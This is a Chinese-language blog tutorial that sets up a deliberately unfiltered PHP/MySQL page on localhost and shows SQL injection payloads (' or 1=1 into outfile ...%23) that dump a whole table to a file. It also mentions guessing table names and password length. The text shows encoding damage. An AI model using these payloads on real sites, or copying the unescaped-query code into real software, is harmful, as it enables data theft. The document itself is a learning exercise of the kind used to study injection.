分享一篇使用SQL注入漏洞拖庫的實(shí)例講解

利用sql注入漏洞登錄后臺(tái)和利用sql注入漏洞拖庫是我學(xué)習(xí)了相關(guān)內(nèi)容之后的一點(diǎn)小結(jié),沒啥深度。

同上一篇文章一樣,我們需要?jiǎng)?chuàng)建數(shù)據(jù)表,并在表中出入幾條數(shù)據(jù)以備測試之用。
數(shù)據(jù)庫中建立一張表:?

?代碼如下:

CREATE?TABLE?`article`?(?  `articleid`?int(11)?NOT?  NULL  ?AUTO_INCREMENT,?  `title`?varchar(100)?CHARACTER?  SET  ?utf8?NOT?NULL?DEFAULT?'',?  `content`?text?CHARACTER?SET?utf8?NOT?NULL,?  PRIMARY?  KEY  ?(`articleid`)?  )?ENGINE=MyISAM?AUTO_INCREMENT=7?DEFAULT?CHARSET=latin1;

在表中插入數(shù)據(jù)的操作我就不貼代碼了,可以去下載下來直接導(dǎo)入到數(shù)據(jù)庫。
接下來,寫一個(gè)處理用戶請求的頁面,這里,我們故意不過濾用戶提交過來的數(shù)據(jù),留下個(gè)SQL注入漏洞用來測試。
代碼如下:

代碼如下:

<?php    $servername = "localhost";   $dbusername = "root";   $dbpassword = "";   $dbname = "test";   $id=$_GET[&#39;id&#39;];//id未經(jīng)過濾   $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("數(shù)據(jù)庫連接失敗");   mysql_select_db($dbname,$conn);   mysql_query(&#39;set names utf8&#39;);   $sql = "SELECT * FROM article WHERE articleid=&#39;$id&#39;";   $result = mysql_query($sql,$conn);   $row = mysql_fetch_array($result);   echo "<p>利用SQL注入漏洞拖庫<p>";?  if?(!$row){?  echo?"該記錄不存在";?  exit;?  }?  echo?"標(biāo)題<br>".$row['title']."</p><p>";?  echo?"內(nèi)容<br>".$row['content']."</p><p>";?  ?&gt;</p>

我們直接在瀏覽器中輸入:
127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
即可訪問article表中id為1的一條記錄
訪問結(jié)果如下:

分享一篇使用SQL注入漏洞拖庫的實(shí)例講解

接下來,我們就利用這個(gè)漏洞(不知道該漏洞的情況下,只能通過工具+手工檢測),演示一下如何將article表下載下來。
在地址欄中輸入:’ into outfile ‘e:/sql.txt’%23
分析:%23是#的ASCII碼,由于在地址欄中直接輸入#后到數(shù)據(jù)庫系統(tǒng)中會(huì)變成空,需要在地址欄中輸入%23,那么才會(huì)變成#,進(jìn)而注釋掉后面的sql語句。
運(yùn)行之后,打開E盤,發(fā)現(xiàn)多了一個(gè)sql.txt文件,打開之后,里面就是表article中的一條記錄。
為什么只有一條記錄呢?難道該數(shù)據(jù)表就只有一條記錄?不是這樣的,因?yàn)槲覀冎粰z索id為1的一條記錄而已,那么能否將article表中的所有記錄一次性全部下載下來呢?
答案是可以的,只要你的構(gòu)造的SQL語句足夠靈活(再次提出了構(gòu)造SQL語句的靈活性)。
分析一下,當(dāng)在URL地址欄中輸入’into outfile ‘e:/sql.txt’%23的時(shí)候,合并到sql查詢語句中變?yōu)椋?
SELECT * FROM article WHERE articleid=’5′ into outfile ‘e:/whf.txt’#’
仔細(xì)分析下之后,我們可以這樣子構(gòu)造SQL語句:
SELECT * FROM article WHERE articleid=” or 1=1 into outfile ‘e:/whf.txt’#’
這樣的話,無論如何注釋總是為真,換句話說,該sql語句等價(jià)于如下:
SELECT * FROM article into outfile ‘e:/whf.txt’#’
懂了吧,該sql語句在先執(zhí)行select語句,將表article中的所以內(nèi)容全部檢索出來,然后再執(zhí)行into outfile ‘e:/whf.txt’#’將內(nèi)容導(dǎo)出來。
不信的話,你執(zhí)行下……
利用SQL注入漏洞,我們可以猜測表名,列名,用戶的密碼長度(LEFT函數(shù))等等,當(dāng)然了,如果能直接向以上的演示那樣將表中的數(shù)據(jù)全部導(dǎo)出的話就沒必要去猜表名列名等等。
有點(diǎn)累了,就寫到這里了。
利用SQL注入漏洞登錄后臺(tái)和利用SQL注入漏洞拖庫是我學(xué)習(xí)了相關(guān)內(nèi)容之后的一點(diǎn)小結(jié),沒啥深度,正如文章開頭所說,權(quán)當(dāng)總結(jié),別無它意。

【相關(guān)推薦】

1.?特別推薦注釋

2.?注釋

3.?注釋

4.?注釋

? 版權(quán)聲明
THE END
喜歡就支持一下吧
點(diǎn)贊8 分享
站長的頭像-小浪學(xué)習(xí)網(wǎng)月度會(huì)員